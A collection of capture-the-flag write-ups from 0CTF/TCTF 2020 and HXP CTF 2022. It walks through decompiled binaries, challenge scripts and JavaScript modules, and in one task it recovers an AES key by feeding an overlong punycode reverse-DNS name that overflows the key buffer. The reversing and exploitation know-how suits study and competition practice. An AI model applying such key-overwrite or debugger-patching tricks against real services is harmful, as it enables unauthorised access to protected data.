Just for my curiosity I continued trying to understand the program. The first interesting part wasat function `__f7`:```cint p_and_q__f7(int param0) { int* ptr0 = __g0 - 4;
__g0 -= 4; *(ptr0 + 3) = param0; __f17(0x600, 0, *(ptr0 + 3)); **(unsigned int*)(ptr0 + 3) = "0ops"; *(*(unsigned int*)(ptr0 + 3) + 1) = "Welcome to 0CTF/TCTF 2020! Have a g00d time"; *(*(unsigned int*)(ptr0 + 3) + 2) = 25; *(*(unsigned int*)(ptr0 + 3) + 3) = "p"; *(*(unsigned int*)(ptr0 + 3) + 4) = 0; // p value *(*(unsigned int*)(ptr0 + 3) + 5) = 0; *(*(unsigned int*)(ptr0 + 3) + 6) = "q"; *(*(unsigned int*)(ptr0 + 3) + 7) = 0; // q value *(*(unsigned int*)(ptr0 + 3) + 8) = 0; int result = *(ptr0 + 3); __g0 = ptr0 + 4; return result;}```
This function initializes an object of pointers. The important part is the strings `p` and `q`. Nowlet's look at how a new pair is added to the list (program can store multiple pairs):```cint ADD_PAIR__f9(int param0, int param1, int param2, int param3, int param4) { int* ptr0 = __g0 - &gvar_10;
__g0 -= &gvar_10; *(ptr0 + 14) = param0; *(ptr0 + 13) = param1; *(ptr0 + 12) = param2; *(ptr0 + 11) = param3; *(ptr0 + 10) = param4; // len maybe if(*(ptr0 + 14) == 0 || *(ptr0 + 12) == 0 || !(unsigned int)(*(ptr0 + 11) != 0)) { *(ptr0 + 15) = 0; } else { *(ptr0 + 9) = *(ptr0 + 13) + *(ptr0 + 14); if(*(ptr0 + 9) < *(ptr0 + 14)) { *(ptr0 + 15) = 0; } else { *(ptr0 + 8) = *(ptr0 + 14); *(ptr0 + 7) = *(ptr0 + 14); *(ptr0 + 6) = 0; *(ptr0 + 5) = 128 - *(ptr0 + 10); *(ptr0 + 4) = 0; *(ptr0 + 3) = 0; while(((*(ptr0 + 8) - *(ptr0 + 7) < *(ptr0 + 13) ? (unsigned int)(*(ptr0 + 4) < *(ptr0 + 5)): 0) & 0x1) != 0) { int v0 = strcat__f16(*(ptr0 + 9) - *(ptr0 + 8), 10, *(ptr0 + 8)); *(ptr0 + 6) = v0; if(*(ptr0 + 6) == 0 || (unsigned int)(*(ptr0 + 6) >= *(ptr0 + 9)) || *(ptr0 + 6) < *(ptr0 + 8)) { break; } else { **(unsigned int*)(ptr0 + 6) = 0; if(*(ptr0 + 6) - *(ptr0 + 8) > 1) { if((int)*(char*)((char*)*(unsigned int*)(ptr0 + 8) + 1) != '=') { loc_50001098: *(ptr0 + 3) = *(ptr0 + 10); } else if((int)**(unsigned int*)(*(unsigned int*)(ptr0 + 12) + 3) == (int)**(unsigned int*)(ptr0 + 8)) { *(ptr0 + 3) = 1; // +3 = p } else if((int)**(unsigned int*)(*(unsigned int*)(ptr0 + 12) + 6) != (int)**(unsigned int*)(ptr0 + 8)) { goto loc_50001098; } else { *(ptr0 + 3) = 2; // +6 = q } *(ptr0 + 2) = *(ptr0 + 3) * 12 + *(ptr0 + 12); // (6 - 3)*4 = 12 ~> pointer to write number __f8(*(ptr0 + 6) - *(ptr0 + 8), *(ptr0 + 8), *(ptr0 + 2)); *(int*)((*(ptr0 + 4) + *(ptr0 + 10)) * 4 + (int)*(unsigned int*)(ptr0 + 11)) = *(ptr0 + 3); *(ptr0 + 4) = *(ptr0 + 4) + 1; } *(ptr0 + 8) = *(ptr0 + 6) + 1; } } if(*(ptr0 + 8) - *(ptr0 + 7) < *(ptr0 + 13) && *(ptr0 + 4) < *(ptr0 + 5)) { if((int)*(char*)((char*)*(unsigned int*)(ptr0 + 8) + 1) != '=') { loc_500013BF: *(ptr0 + 3) = *(ptr0 + 10); } else if((int)**(unsigned int*)(*(unsigned int*)(ptr0 + 12) + 3) == (int)**(unsigned int*)(ptr0 + 8)) { *(ptr0 + 3) = 1; } else if((int)**(unsigned int*)(*(unsigned int*)(ptr0 + 12) + 6) != (int)**(unsigned int*)(ptr0 + 8)) { goto loc_500013BF; } else { *(ptr0 + 3) = 2; } *(ptr0 + 1) = *(ptr0 + 3) * 12 + *(ptr0 + 12); __f8(*(ptr0 + 7) + *(ptr0 + 13) - *(ptr0 + 8), *(ptr0 + 8), *(ptr0 + 1)); *(int*)((*(ptr0 + 4) + *(ptr0 + 10)) * 4 + (int)*(unsigned int*)(ptr0 + 11)) = *(ptr0 + 3); *(ptr0 + 4) = *(ptr0 + 4) + 1; } *(ptr0 + 15) = *(ptr0 + 4); } }
int result = *(ptr0 + 15); __g0 = ptr0 + &gvar_10; return result;}```
This function looks complicated at the first glance, but let's focus on the most impoortant parts.At the beginning we have an important assignment: `*(ptr0 + 12) = param2`. `param2` is a pointer tothe object that `p_and_q__f7` returns. Let's move on:```cif((int)*(char*)((char*)*(unsigned int*)(ptr0 + 8) + 1) != '=') {loc_50001098: *(ptr0 + 3) = *(ptr0 + 10);}else if((int)**(unsigned int*)(*(unsigned int*)(ptr0 + 12) + 3) == (int)**(unsigned int*)(ptr0 + 8)) { *(ptr0 + 3) = 1; // +3 = p}else if((int)**(unsigned int*)(*(unsigned int*)(ptr0 + 12) + 6) != (int)**(unsigned int*)(ptr0 + 8)) { goto loc_50001098;}else { *(ptr0 + 3) = 2; // +6 = q}*(ptr0 + 2) = *(ptr0 + 3) * 12 + *(ptr0 + 12); // (6 - 3)*4 = 12 ~> pointer to write number__f8(*(ptr0 + 6) - *(ptr0 + 8), *(ptr0 + 8), *(ptr0 + 2));```
`ptr0 + 8` points to the input string. The first `if` checks if `inpt[1] != '='`. If this is true,`ptr0 + 3` gets assigned the string `*(ptr0 + 10)`, which is `*(ptr0 + 8 + 2)`, which is `inp[2:]`.The second `else if` checks the value of `(ptr0 + 12) + 3)` is equal to `(ptr0 + 8)` which is`inp[0]`. `ptr0 + 12` points to the output of `p_and_q__f7` which is initialized to`*(*(unsigned int*)(ptr0 + 3) + 3) = "p";` That is, this if checks if `inp[0] == 'p'`. If so, itassigns `*(ptr0 + 3) = 1`. Then program makes another check but this time with `(ptr0 + 12) + 6)`which is the assignment `*(*(unsigned int*)(ptr0 + 3) + 6) = "q";` in `p_and_q__f7`. That is, itchecks if `inp[0] == 'q'` and if so, it assigns `*(ptr0 + 3) = 2;`. Finally it makes an importantassignment: `*(ptr0 + 2) = *(ptr0 + 3) * 12 + *(ptr0 + 12);`, which can have **1** of the **2**possible values:```if inp[0] == 'p': *(ptr0 + 3)*12 + *(ptr0 + 8 + 4) = 1*12 + p_and_q_obj = p_and_q_obj->p_val (+3 * 4 + 4 = +16)
if inp[0] == 'q' *(ptr0 + 3)*12 + *(ptr0 + 8 + 4) = 2*12 + p_and_q_obj = p_and_q_obj->q_val (+6 * 4 + 4 = +28)```
Now let's go main (`__f22`) see the paramters of `check_pair````cp_and_q__f7(*(glo + 0x116));/* ... */
int chk_res = CHECK_PAIR__f3(*(*(unsigned int*)(glo + 0x116) + 7), *(*(unsigned int*)(glo + 0x116) + 4));```
For some reason, in ReWasm, parameters appear in the reverse order:```cvar_124 = load<i32>(var_92 + 1112);var_125 = load<i32>(var_124 + 16);
var_126 = load<i32>(var_92 + 1112);var_127 = load<i32>(var_126 + 28);
var_128 = func_3(var_125, var_127);````
The first parameter is `p_and_q_obj->p_val` (offset **+4** or **16**) and the second parameter is`p_and_q_obj->q_val` (offset **+7** or **28**). That is, we need to pass **2** distinct pairs tothe program: `p=22229` and `q=227081`. Let's try it out:```ispo@ispo-glaptop2:~/ctf/0ctf_2020/W$ ./wasm3 wwSecret: ?eNj0y_weba5SemB1Y.lstrip("web")!Loading...Go Go Go!!aoshine~ What's up?1. add pair2. dump pair3. check pair4. exit1input new pair:p=222291. add pair2. dump pair3. check pair4. exit1input new pair:q=2270811. add pair2. dump pair3. check pair4. exit2p=22229q=227081
1. add pair2. dump pair3. check pair4. exit3flag is: flag{secret+4986828}1. add pair2. dump pair3. check pair4. exit4```
Anw, the flag was: `flag{eNj0y_weba5SemB1Y.lstrip("web")!+4986828}`___ |
## HXP CTF 2022 - Required (Misc/RE/Crypto 417)### 10-12/03/2023 (48hr)___
## Description **Difficulty estimate:** easy - easy
**Points:** round(1000 · min(1, 10 / (9 + [15 solves]))) = 417 points
**Description:**
*With all that recent hype about VPNs and everything good ol’ hxp had to up their crypto game,**so we added network-based security to this flag dispenser. We think that–despite our age–we’re**still perfectly capable of producing flawless C code, but to be extra safe,**we cranked up the compiler-based defenses during compilation of the server and enabled clang’s**safe stack.*
*Besides the server we provide captured traffic from and to that port for you to analyse,**could you please check that we got it right?*
**Note:** *We did not modify the source code of the statically linked crypto library.*
**Download:**```secure_flag_dispenser-3e953071990b9bd6.tar.xz (1.5 MiB)```___
## Solution
Let's start from the `main` routine of `dispense` binary (we cleanup the code a little and werename the functions):```c__int64 __fastcall main(int a1, char **a2, char **a3) { /* ... */ v3 = __readfsqword(0xFFFFFFE0); __writefsqword(0xFFFFFFE0, v3 - 1680); *(_QWORD *)(v3 - 1632) = 0xB8A50002LL; // port 42424 *(_QWORD *)(v3 - 1624) = 0LL; memset((void *)(v3 - 1280), 0, 0x401uLL); *(_OWORD *)(v3 - 1600) = 0LL; *(_OWORD *)(v3 - 1584) = 0LL; *(_OWORD *)(v3 - 1568) = 0LL; *(_OWORD *)(v3 - 1552) = 0LL; *(_OWORD *)(v3 - 1648) = 0LL; *(_OWORD *)(v3 - 1664) = 0LL; *(_DWORD *)(v3 - 4) = 16; *(_OWORD *)(v3 - 1680) = 0LL; fp_flag = fopen("flag.txt", "rb"); if ( !fp_flag ) goto FOPEN_ERR; fp_flag_ = fp_flag; rnd_buf = (const unsigned __int8 *)(v3 - 1680); if ( !fread((void *)(v3 - 1600), 1uLL, 0x40uLL, fp_flag) ) {FREAD_ERR: perror_msg = "fread\n"; goto PERROR; } fclose(fp_flag_); fp_psk = fopen("psk", "rb"); // pre-shared key if ( !fp_psk ) {FOPEN_ERR: perror_msg = "fopen\n";PERROR: perror(perror_msg); result = 0xFFFFFFFFLL; goto RETURN; } fp_psk_ = fp_psk; if ( !fread((void *)(v3 - 1648), 1uLL, 0x10uLL, fp_psk) ) goto FREAD_ERR; enc_buf = v3 - 1600; // 1600 ~> flag buffer fclose(fp_psk_); serv_sock = socket(AF_INET, SOCK_STREAM, 0); if ( serv_sock == -1 ) { perror_msg = "socket"; goto PERROR; } serv_sock_ = serv_sock; *(_DWORD *)(v3 - 252) = 1; if ( setsockopt(serv_sock, 1, 2, (const void *)(v3 - 252), 4u) == -1 ) { perror_msg = "setsockopt"; goto PERROR; } if ( bind(serv_sock_, (const struct sockaddr *)(v3 - 1632), 0x10u) == -1 ) { perror_msg = "bind"; goto PERROR; } if ( listen(serv_sock_, 1337) == -1 ) { perror_msg = "listen"; goto PERROR; } cli_sock = accept(serv_sock_, (struct sockaddr *)(v3 - 1664), (socklen_t *)(v3 - 4)); if ( cli_sock == -1 ) { perror_msg = "accept"; goto PERROR; } cli_sock_ = cli_sock; if ( (unsigned int)getentropy(rnd_buf, 16LL) == -1 ) { perror_msg = "getentropy"; goto PERROR; } getnameinfo((const struct sockaddr *)(v3 - 1664), *(_DWORD *)(v3 - 4), (char *)(v3 - 1280), 0x401u, 0LL, 0, 8); // check if incomng connection is from a hxp.io domain if ( !(unsigned int)u_cmp_subdomain_probably(v3 - 1280, &glo_hxp_io) ) { *(_OWORD *)(v3 - 1304) = 0LL; *(_OWORD *)(v3 - 1320) = 0LL; *(_OWORD *)(v3 - 1336) = 0LL; *(_OWORD *)(v3 - 1352) = 0LL; *(_OWORD *)(v3 - 1368) = 0LL; *(_OWORD *)(v3 - 1384) = 0LL; *(_OWORD *)(v3 - 1400) = 0LL; *(_OWORD *)(v3 - 1416) = 0LL; *(_OWORD *)(v3 - 1432) = 0LL; *(_OWORD *)(v3 - 1448) = 0LL; *(_OWORD *)(v3 - 1464) = 0LL; *(_OWORD *)(v3 - 1480) = 0LL; *(_OWORD *)(v3 - 1496) = 0LL; *(_OWORD *)(v3 - 1512) = 0LL; *(_OWORD *)(v3 - 1528) = 0LL; // AES_Key *(_DWORD *)(v3 - 1288) = 0; *(_OWORD *)(v3 - 1616) = glo_fake_flag_as_IV; // AES_set_encrypt_key(const unsigned char *userKey, const int bits, AES_KEY *key); // Return 0 on success
// 1648 ~> 16-byte Pre-Shared Key // 1616 ~> IV // enc_buf ~> flag
// That is, encrypt flag with pre-shared key and send it back to client if ( !AES_set_encrypt_key((const unsigned __int8 *)(v3 - 1648), 128, (AES_KEY *)(v3 - 1528)) ) { AES_cbc_encrypt(enc_buf, enc_buf, 64LL, v3 - 1528, v3 - 1616, 1LL);// last arg: 1 ~> encrypt for ( i = 0LL; i != 64; ++i ) dprintf(cli_sock_, "%02hhx", *(unsigned __int8 *)(v3 + i - 1600)); dprintf(cli_sock_, "\n"); goto RETURN_OK; }ENCRYPT_ERR: perror_msg = "enc"; goto PERROR; } // Domain is not a *.hxp.io. Use Big Nums glo_bn_ctx = l_BN_CTX_new(); if ( !glo_bn_ctx ) { perror_msg = "BN_CTX_new"; goto PERROR; } glo_bn_A = l_BN_new(); glo_bn_B = l_BN_new(); glo_bn_C = l_BN_new(); glo_bn_D = l_BN_new(); if ( !glo_bn_D || !glo_bn_A || !glo_bn_B || !glo_bn_C ) { perror_msg = "BN_new"; goto PERROR; } l_BN_hex2bn( &glo_bn_A, "6878703c33796f753c336878700000000000000000000000009debf6dfc0d75203bde49a1f3ba3d949f08fa84b6d0a770f730306c32d17956654" "4333df001dcf71d1030707aabf254b8777e1c9c0d857133d5ccabfa0232858588e17ba23dc2a34880ced41edb9f0814695e6ab4ba2d5fc758f43" "1de65e8e34b508a1facda541"); l_BN_hex2bn(&glo_bn_B, "309"); // why not 65537? That's suspicious! glo_bn_C = l_BN_bin2bn(rnd_buf, 16LL, glo_bn_C); // A is modulo always // D is output l_BN_mod_exp(glo_bn_D, glo_bn_C, glo_bn_B, glo_bn_A, glo_bn_ctx); hex_bn = (char *)l_BN_bn2hex(glo_bn_D); dprintf(cli_sock_, "%s\n", hex_bn); // send result back to client *(_OWORD *)(v3 - 248) = 0LL; // AES_KEY *(_OWORD *)(v3 - 232) = 0LL; *(_OWORD *)(v3 - 216) = 0LL; *(_OWORD *)(v3 - 200) = 0LL; *(_OWORD *)(v3 - 184) = 0LL; *(_OWORD *)(v3 - 168) = 0LL; *(_OWORD *)(v3 - 152) = 0LL; *(_OWORD *)(v3 - 136) = 0LL; *(_OWORD *)(v3 - 120) = 0LL; *(_OWORD *)(v3 - 104) = 0LL; *(_OWORD *)(v3 - 88) = 0LL; *(_OWORD *)(v3 - 72) = 0LL; *(_OWORD *)(v3 - 56) = 0LL; *(_OWORD *)(v3 - 40) = 0LL; *(_OWORD *)(v3 - 24) = 0LL; *(_DWORD *)(v3 - 8) = 0; *(_OWORD *)(v3 - 1616) = glo_fake_flag_as_IV; if ( AES_set_encrypt_key(rnd_buf, 128, (AES_KEY *)(v3 - 248)) )// use a random key goto ENCRYPT_ERR; AES_cbc_encrypt(enc_buf, enc_buf, 64LL, v3 - 248, v3 - 1616, 1LL); for ( j = 0LL; j != 64; ++j ) dprintf(cli_sock_, "%02hhx", *(unsigned __int8 *)(v3 + j - 1600)); dprintf(cli_sock_, "\n"); u_some_dtor(hex_bn); l_BN_free_or_clean(glo_bn_D); l_BN_free_or_clean(glo_bn_C); l_BN_free_or_clean(glo_bn_B); l_BN_free_or_clean(glo_bn_A); l_BN_CTX_free(glo_bn_ctx);RETURN_OK: close(cli_sock_); result = 0LL;RETURN: __writefsqword(0xFFFFFFE0, v3); return result;}```
The binary binds a TCP server at port `42424` and waits for incoming connections. When a clientconnects to it uses `getnameinfo` to get the domain name and then calls `u_cmp_subdomain_probably`to compare it against `?.hxp.io`. If the domain matches (i.e., the domain is `?.hxp.io`) thenprogram encrypts the flag using AES-128 in CBC mode. The encryption key, is the Pre-Shared Keystored in `psk` file. The ciphertext (encrypted flag) is sent back to the client using `dprint`.
If the domain is anything else, it generates a random key (stored in `rnd_buf`) using `getentropy`and encrypts it in RSA style: `rnd_buf ** e mod = n`, with `e = 777` and`n = 0x6878703c33796f753c336878700000000000000000000000009debf6dfc0d75203bde49a1f3ba3d949f08fa84b6d0a770f730306c32d179566544333df001dcf71d1030707aabf254b8777e1c9c0d857133d5ccabfa0232858588e17ba23dc2a34880ced41edb9f0814695e6ab4ba2d5fc758f431de65e8e34b508a1facda541`and sends it to the client (using `dprint`). Then it uses the generated key in `rnd_buf`to encryptthe flag using AES128 in CBC mode again and sends the ciphertext back to the client.
### Analyzing the PCAP File
There is also a `t.pcap` file that comes along with the challenge that contains a lot of trafficexchanged with the server:


### The Failed Approach
In the pcap file there are 772 messages exchanged. The public exponent `e` is also `777`, so Ithought it cannot be a coincidence. I spend hours looking for various RSA attacks on how torecover part of the message (i.e., the encryption key), but it end up nowhere as none of theexisting attacks would fit in our case. Then I asked for help and I got a hint:*You fell for the usual hxp illusion*
Given that the primary category of this challenge is "Misc", there must be something else that Iwas missing.
### The Correct Approach
I start looking in the code more carefully until I reached `u_cmp_subdomain_probably`. This functiondoes more than a `strcmp`:```c__int64 __fastcall u_cmp_subdomain_probably(const char *a1, const char *a2) { /* ... */ v2 = __readfsqword(0xFFFFFFE0); __writefsqword(0xFFFFFFE0, v2 - 528); *(_QWORD *)(v2 - 520) = 512LL; if ( (int)u_punycode_maybe(a1, (_BYTE *)(v2 - 512), (_QWORD *)(v2 - 520)) <= 0 ) result = 0xFFFFFFFFLL; else result = strcmp((const char *)(v2 - 512), a2) != 0; __writefsqword(0xFFFFFFE0, v2); return result;}```
There a function `u_punycode_maybe` that does some changes to `a1` and the compares the modified result with the `a2`. This function must be successful otherwise it returns **-1**. At the top of the function there is something very interesting:```c__int64 __fastcall u_punycode_maybe(const char *src, _BYTE *dest, _QWORD *a3) { /* ... */
v3 = dest; v5 = __readfsqword(0xFFFFFFE0); __writefsqword(0xFFFFFFE0, v5 - 2064); v6 = dest != 0LL; v7 = 0LL; while ( 1 ) { v9 = strchr(src, 46); v17 = v9; v10 = v9 ? v9 - src : strlen(src); if ( !strncmp(src, "xn--", 4uLL) ) // <~~ Punycode! break; /* ... */```
I remember (from another CTF challenge) that the `xn--` string corresponds to to[Punycode](https://en.wikipedia.org/wiki/Punycode) encoding. That is, **challenge has something to do with the domains**.Maybe we could trick the server thinking we are coming from the `?.hxp.io` and give us the flag.But we still do not know the contents of the `psk` file...
#### Analyzing the PCAP File (again)
Let's go back to the pcap file and find all different IPs (we actually use[Scapy](https://scapy.net/) to quickly process the file):```92.243.26.6046.226.106.5446.226.106.30```
Let's `dig` into them:```ispo@ispo-glaptop2:~/ctf/hxp_2022/secure_flag_dispenser$ dig -x 92.243.26.60
; <<>> DiG 9.18.8-1-Debian <<>> -x 92.243.26.60;; global options: +cmd;; Got answer:;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 20441;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1dig: 'xn--ls8haaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.xn--ls8haaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.xn--ls8haaaaaaaaaaaaaa.xn--a.xn--a.xn--a.xn--a.xn--a.xn--a.xn--a.xn--a.xn--a.xn--a.xn--a.xn--a.xn--a.xn--a.kirschju.re.' is not a legal IDNA2008 name (string contains a disallowed character), use +noidnout
ispo@ispo-glaptop2:~/ctf/hxp_2022/secure_flag_dispenser$ dig -x 46.226.106.54
; <<>> DiG 9.18.8-1-Debian <<>> -x 46.226.106.54;; global options: +cmd;; Got answer:;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 47279;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:; EDNS: version: 0, flags:; udp: 4096;; QUESTION SECTION:;54.106.226.46.in-addr.arpa. IN PTR
;; ANSWER SECTION:54.106.226.46.in-addr.arpa. 3600 IN PTR xvm-106-54.dc0.ghst.net.
;; Query time: 300 msec;; SERVER: 172.16.255.1#53(172.16.255.1) (UDP);; WHEN: Mon Mar 13 23:01:52 PDT 2023;; MSG SIZE rcvd: 92
ispo@ispo-glaptop2:~/ctf/hxp_2022/secure_flag_dispenser$ dig -x 46.226.106.30
; <<>> DiG 9.18.8-1-Debian <<>> -x 46.226.106.30;; global options: +cmd;; Got answer:;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 3243;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:; EDNS: version: 0, flags:; udp: 4096;; QUESTION SECTION:;30.106.226.46.in-addr.arpa. IN PTR
;; ANSWER SECTION:30.106.226.46.in-addr.arpa. 3600 IN PTR xvm-106-30.dc0.ghst.net.
;; Query time: 316 msec;; SERVER: 172.16.255.1#53(172.16.255.1) (UDP);; WHEN: Mon Mar 13 23:02:13 PDT 2023;; MSG SIZE rcvd: 92```
The first one is really interesting. Since domain starts with `xn--`, we use a[Punycode Converter](https://www.punycoder.com/) to decode it. THis is what we get:```????????????????????????????????????????????????????????.????????????????????????????????????????????????????????.???????????????```
Okay, so what happens if a client with this domain gets connected to it? We set a breakpoint rightbefore the `u_cmp_subdomain_probably` and we modify the contents of the pointer stored in `rdi`:```assembly.text:0000000000065AB2 lea rsi, glo_hxp_io.text:0000000000065AB9 mov rdi, r13 ; patch me!.text:0000000000065ABC call u_cmp_subdomain_probably```
Then we connect to the server:```nc 127.0.0.1 42424 -vv```
Once the breakpoint is triggered we, run the following IDAPython lines to change the contents ofthe resolved domain:```pythondomain = b'xn--ls8haaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.xn--ls8haaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.xn--ls8haaaaaaaaaaaaaa.xn--a.xn--a.xn--a.xn--a.xn--a.xn--a.xn--a.xn--a.xn--a.xn--a.xn--a.xn--a.xn--a.xn--a.kirschju.re.'for i, b in enumerate(domain): ida_bytes.patch_byte(idaapi.get_reg_val('rdi') + i, b)```

Then something really interesting happens:

The AES key is overwritten with `.` ! That is, **13** out of **16** key bytes are set to `.` dueto some overflow probably. That is, we only need to bruteforce the remaining **3** characters toget the flag. We select any ciphertext (let's say `b9058638622df4e3bb39dcd056394fbbb6a0af5ddb7dc98ffca30584b6320f0f5d8d0ad9d127b5d4a7ba1d355b71f4ff13e6bcd9ede5851cafef176cb2a8f882`)and we bruteforce the renaming **3** characters from the key:`2E-2E-2E-2E-2E-2E-2E-2E-2E-2E-2E-2E-2E-4D-16-0B`, until we get a plain text that starts with `hxp{`.
So the flag is: `hxp{th3y_pr0m153d_cr1t1c4l_but_0nly_g4v3_h1gh}`
For more details, please take a look at the [secure_flag_dispenser_crack.py](./secure_flag_dispenser_crack.py) script.
___ |
## HXP CTF 2022 - yor (Misc 116)### 10-12/03/2023 (48hr)___
## Description **Difficulty estimate:** easy - easy
**Points:** round(1000 · min(1, 10 / (9 + [83 solves]))) = 116 points
**Description:**
*XOR is so last year (just like this CTF).*
*Introducing YOR.*
**Download:**```yor-de99ca0309bcf72b.tar.xz (12.7 KiB)```
**Connection (mirrors):**```nc 167.235.26.48 10101```___
## Solution
Let's look at the challenge code (`vuln.py`):```python#!/usr/bin/env python3import random
greets = [ "Herzlich willkommen! Der Schlüssel ist {0}, und die Flagge lautet {1}.", "Bienvenue! Le clé est {0}, et le drapeau est {1}.", "Hartelijk welkom! De sleutel is {0}, en de vlag luidt {1}.", "ようこそ!鍵は{0}、旗は{1}です。", "歡迎!鑰匙是{0},旗幟是{1}。", "Witamy! Niestety nie mówię po polsku...", ]
flag = open('flag.txt').read().strip()assert set(flag.encode()) <= set(range(0x20,0x7f))
key = bytes(random.randrange(256) for _ in range(16))hello = random.choice(greets).format(key.hex(), flag).encode()
output = bytes(y | key[i%len(key)] for i,y in enumerate(hello))print(output.hex())```
Please refer to [yor_crack.py](./yor_crack.py) for more details.
So the flag is: `hxp{WhY_5et7L3_f0r_X0R_iF_y0u_C4n_h4v3_Y0R????}`___ |
## HXP CTF 2022 - Required (RE 385)### 10-12/03/2023 (48hr)___
## Description **Difficulty estimate:** easy - easy
**Points:** round(1000 · min(1, 10 / (9 + [17 solves]))) = 385 points
**Description:**
*I have written a super safe flag encryptor. I’m sure nobody can figure out what my original flag was:*
```0xd19ee193b461fd8d1452e7659acb1f47dc3ed445c8eb4ff191b1abfa7969```
*Dockerfile for your convenience / to ensure correct environment.*
**Download:**```required-27edfc0c02c5f748.tar.xz (11.4 KiB)```___
## Solution
Let's start with the `Dockerfile`:```bash# see docker-compose.yml
FROM node:19
RUN useradd --create-home --shell /bin/bash ctfWORKDIR /home/ctf
COPY flag files/* /home/ctf/
USER ctf
CMD sh run.sh```
This challenge contains **250** JavaScript files under `files/` directory:```ispo@ispo-glaptop2:~/ctf/hxp_2022/required$ ls files/*.js | wc 250 250 3226```
Everything starts from `files/run.sh`:```bash#!/bin/bash
if [ "$(node required.js)" = "0xd19ee193b461fd8d1452e7659acb1f47dc3ed445c8eb4ff191b1abfa7969" ]; then echo ":)"else echo ":("fi```
`files/required.js` contains a long sequence of `require` calls:```javascriptf=[...require('fs').readFileSync('./flag')] // load flagrequire('./28')(753,434,790)require('./157')(227,950,740)/* ... ~1228 more `require` calls ... */require('./725')(9,30,288)require('./37')(f) // print encrypted flag````
Let's start looking into some of these files:```ispo@ispo-glaptop2:~/ctf/hxp_2022/required$ cat files/103.jsmodule.exports=(i,j,t)=>(i%=30,j%=30,t%=30,i+=[],j+"",t=(t+{}).split("[")[0],f[i]*=f[25],f[i]&=0xff)
ispo@ispo-glaptop2:~/ctf/hxp_2022/required$ cat files/118.jsmodule.exports=(i,j,t)=>(i%=30,j%=30,t%=30,i+=[],j+"",t=(t+{}).split("[")[0],f[i]*=f[8],f[i]&=0xff)
ispo@ispo-glaptop2:~/ctf/hxp_2022/required$ cat files/1.jsmodule.exports=(i,j,t)=>(i%=30,j%=30,t%=30,i+=[],j+"",t=(t+{}).split("[")[0],f[i]*=-1,f[i]&=0xff)```
These files look very similar and they are probably automatically generated. We quickly dumpall these files to see how they differ from each other:```bashfor i in files/*.js; do echo -e "\n-------------------------- $i"; cat $i; done | less```
All files have the same format (with very few exceptions that we will see in a moment):```javascriptmodule.exports=(i,j,t)=>(i%=30,j%=30,t%=30,i+=[],j+"",t=(t+{}).split("[")[0],/*f operation */)```
Each time, only one of the `i`, `j` and `t` variables is used to access a single character from`f` -which contains the flag- and do some transformations to it. Some operations (such as addition)have an extra statement `f[i]&=0xff` to ensure that the result is only **1** byte. Let's now lookat some examples of all different operations:```js// add, sub, mul, divmodule.exports=(i,j,t)=>(i%=30,j%=30,t%=30,i+=[],j+"",t=(t+{}).split("[")[0],f[j]+=f[i],f[j]&=0xff)module.exports=(i,j,t)=>(i%=30,j%=30,t%=30,i+=[],j+"",t=(t+{}).split("[")[0],f[j]-=f[t],f[j]&=0xff)module.exports=(i,j,t)=>(i%=30,j%=30,t%=30,i+=[],j+"",t=(t+{}).split("[")[0],f[i]*=f[25],f[i]&=0xff)module.exports=(i,j,t)=>(i%=30,j%=30,t%=30,i+=[],j+"",t=(t+{}).split("[")[0],f[i]/=f[9],f[i]&=0xff)
// xormodule.exports=(i,j,t)=>(i%=30,j%=30,t%=30,i+=[],j+"",t=(t+{}).split("[")[0],f[t]^=f[i])
// notmodule.exports=(i,j,t)=>(i%=30,j%=30,t%=30,i+=[],j+"",t=(t+{}).split("[")[0],f[i]=~f[i]&0xff)
// rol (operates on the same f element)module.exports=(i,j,t)=>(i%=30,j%=30,t%=30,i+=[],j+"",t=(t+{}).split("[")[0],f[j]=f[j]<<1&0xff|f[j]>>7)
// neg (operates on the same f element)module.exports=(i,j,t)=>(i%=30,j%=30,t%=30,i+=[],j+"",t=(t+{}).split("[")[0],f[i]*=-1,f[i]&=0xff)
// left and right shift (operates on the same f element)module.exports=(i,j,t)=>(i%=30,j%=30,t%=30,i+=[],j+"",t=(t+{}).split("[")[0],f[i]<<=f[j],f[i]&=0xff)module.exports=(i,j,t)=>(i%=30,j%=30,t%=30,i+=[],j+"",t=(t+{}).split("[")[0],f[i]>>=f[j],f[i]&=0xff)
// xor with shifted by 1 (operates on the same f element)module.exports=(i,j,t)=>(i%=30,j%=30,t%=30,i+=[],j+"",t=(t+{}).split("[")[0],f[j]=f[j]^(f[j]>>1))
// weirdo calculation (operates on the same f element)module.exports=(i,j,t)=>(i%=30,j%=30,t%=30,i+=[],j+"",t=(t+{}).split("[")[0], f[i]=(((f[i]*0x0802&0x22110)|(f[i]*0x8020&0x88440))*0x10101>>>16)&0xff)```
There are also some files which are different:```js// 37.js ~> print flagmodule.exports=(i,j,t)=>(i+=[],j+"",t=(t+{}).split("[")[0],console.log(require('./314')(i)))
// 314.js ~> flag to hexmodule.exports=(i,j,t)=>(i+=[],j+"",t=(t+{}).split("[")[0],s='0x', i.split(',').forEach(b=>(s+=('0'+(b-0).toString(16)).slice(-2))),s)
// 556.js ~> dtormodule.exports=(i,j,t)=>(i+=[],j+"",t=(t+{}).split("[")[0], Object.keys(require.cache).forEach(i=>{delete require.cache[i]}))
// 289.js ~> build json obj// > i = 123; j = 998// ['__proto__']: { data: { name: './123', exports: [Object] }, path: './' }// > json['__proto__']['data']['exports']// { '.': './998.js' }module.exports=(i,j,t)=>( i+=[], // if this none, add the empty array to give it a type j+"", // same for this t=(t+{}).split("[")[0], // same for this JSON.parse(`{"__proto__":{"data":{"name":"./${i}","exports":{".": "./${j}.js"}},"path": "./"}}`))
